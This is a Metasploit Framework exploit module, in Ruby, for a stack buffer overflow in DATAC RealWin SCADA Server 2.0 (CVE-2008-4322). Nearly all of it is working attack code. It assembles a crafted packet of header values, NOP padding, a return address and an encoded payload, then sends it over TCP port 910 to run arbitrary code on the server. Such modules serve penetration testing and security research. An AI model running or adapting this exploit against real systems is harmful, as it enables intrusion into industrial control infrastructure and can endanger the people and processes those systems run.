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## # $Id: realwin.rb 9262 2010-05-09 17:45:00Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'DATAC RealWin SCADA Server Buffer Overflow', 'Description'=> %q{ This module exploits a stack buffer overflow in DATAC Control International RealWin SCADA Server 2.0 (Build 6.0.10.37). By sending a specially crafted FC_INFOTAG/SET_CONTROL packet, an attacker may be able to execute arbitrary code. }, 'Author' => [ 'MC' ], 'License'=> MSF_LICENSE, 'Version'=> '$Revision: 9262 $', 'References' => [ [ 'CVE', '2008-4322' ], [ 'OSVDB', '48606' ], [ 'BID', '31418' ], ], 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload'=> { 'Space'=> 550, 'BadChars' => "\x00\x20\x0a\x0d", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets'=> [ [ 'Universal', { 'Offset' => 740, 'Ret' => 0x4001e2a9 } ], # Thanks Jacopo! ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Sep 26 2008')) register_options([Opt::RPORT(910)], self.class) end def exploit connect data =[0x67542310].pack('V') data << [0x00000800].pack('V') data << [0x000a77e3].pack('V') data << [0x00040005].pack('V') data << "\x00\x00" data << make_nops(target['Offset']) data << [target.ret].pack('V') data << [0x00404040].pack('V') data << payload.encoded data << make_nops(1024) print_status("Trying target #{target.name}...") sock.get_once sock.put(data) handler disconnect end end |
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